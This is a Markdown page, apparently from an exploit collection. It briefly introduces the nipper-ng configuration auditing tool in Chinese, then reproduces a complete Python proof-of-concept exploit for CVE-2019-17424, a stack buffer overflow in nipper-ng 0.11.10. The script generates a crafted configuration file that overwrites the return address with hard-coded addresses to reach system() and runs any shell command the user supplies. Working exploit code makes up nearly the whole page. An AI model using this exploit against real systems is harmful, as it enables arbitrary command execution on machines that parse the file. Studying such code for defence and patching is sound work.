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113 lines
4.3 KiB
Markdown
113 lines
4.3 KiB
Markdown
## CVE-2019-17424 nipper-ng_0.11.10-Remote_Buffer_Overflow远程缓冲区溢出附PoC
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## 简介
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> Nipper是一个网络基础结构配置解析器，也是设备（防火墙，路由器以及网络基础设施）安全配置检查工具所以也是一种黑客工具，可也检查目标设备是否有脆弱性配置，它能检查并给出建议。
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## POC
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```
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# Exploit Title: nipper-ng 0.11.10 - Remote Buffer Overflow (PoC)
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# Date: 2019-10-20
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# Exploit Author: Guy Levin
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# https://blog.vastart.dev
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# Vendor Homepage: https://tools.kali.org/reporting-tools/nipper-ng
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# Software Link: https://code.google.com/archive/p/nipper-ng/source/default/source
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# Version: 0.11.10
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# Tested on: Debian
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# CVE : CVE-2019-17424
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"""
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Exploit generator created by Guy Levin (@va_start - twitter.com/va_start)
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Vulnerability found by Guy Levin (@va_start - twitter.com/va_start)
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For a detailed writeup of CVE-2019-17424 and the exploit building process, read my blog post
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https://blog.vastart.dev/2019/10/stack-overflow-cve-2019-17424.html
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may need to run nipper-ng with enviroment variable LD_BIND_NOW=1 on ceratin systems
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"""
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import sys
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import struct
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def pack_dword(i):
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return struct.pack("<I", i)
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def prepare_shell_command(shell_command):
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return shell_command.replace(" ", "${IFS}")
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def build_exploit(shell_command):
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EXPLOIT_SKELETON = r"privilage exec level 1 " \
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"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa " \
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"aasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaab " \
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"kaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaacca " \
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"acdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaac " \
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"uaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadma " \
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"adnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaae " \
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"faaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewa " \
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"aexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaaf " \
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"paafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaagha " \
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"agiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaag " \
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"zaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahra " \
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"ahaaaataahuaahvaahwaahpaaaaaaazaaibaaicaaidaaieaaifaaigaaihaaiiaaijaai " \
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"kaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajca " \
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"ajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaaj"
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WRITEABLE_BUFFER = 0x080FA001
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CALL_TO_SYSTEM = 0x0804E870
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COMMAND_BUFFER = 0x080FA015
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OFFSET_FOR_WRITEABLE_BUFFER = 0x326
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OFFSET_FOR_RETURN = 0x33a
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OFFSET_FOR_COMMAND_BUFFER = 0x33e
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OFFSET_FOR_SHELL_COMMAND = 0x2a
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MAX_SHELL_COMMAND_CHARS = 48
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target_values_at_offsets = {
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WRITEABLE_BUFFER : OFFSET_FOR_WRITEABLE_BUFFER,
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CALL_TO_SYSTEM : OFFSET_FOR_RETURN,
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COMMAND_BUFFER : OFFSET_FOR_COMMAND_BUFFER
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}
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exploit = bytearray(EXPLOIT_SKELETON, "ascii")
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# copy pointers
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for target_value, target_offset in target_values_at_offsets.items():
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target_value = pack_dword(target_value)
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exploit[target_offset:target_offset+len(target_value)] = target_value
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# copy payload
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if len(shell_command) > MAX_SHELL_COMMAND_CHARS:
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raise ValueError("shell command is too big")
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shell_command = prepare_shell_command(shell_command)
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if len(shell_command) > MAX_SHELL_COMMAND_CHARS:
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raise ValueError("shell command is too big after replacing spaces")
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# adding padding to end of shell command
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for i, letter in enumerate(shell_command + "&&"):
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exploit[OFFSET_FOR_SHELL_COMMAND+i] = ord(letter)
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return exploit
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def main():
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if len(sys.argv) != 3:
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print(f"usage: {sys.argv[0]} <shell command to execute> <output file>")
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return 1
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try:
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payload = build_exploit(sys.argv[1])
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except Exception as e:
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print(f"error building exploit: {e}")
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return 1
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open(sys.argv[2], "wb").write(payload)
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return 0 # success
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if __name__ == '__main__':
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main()
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```
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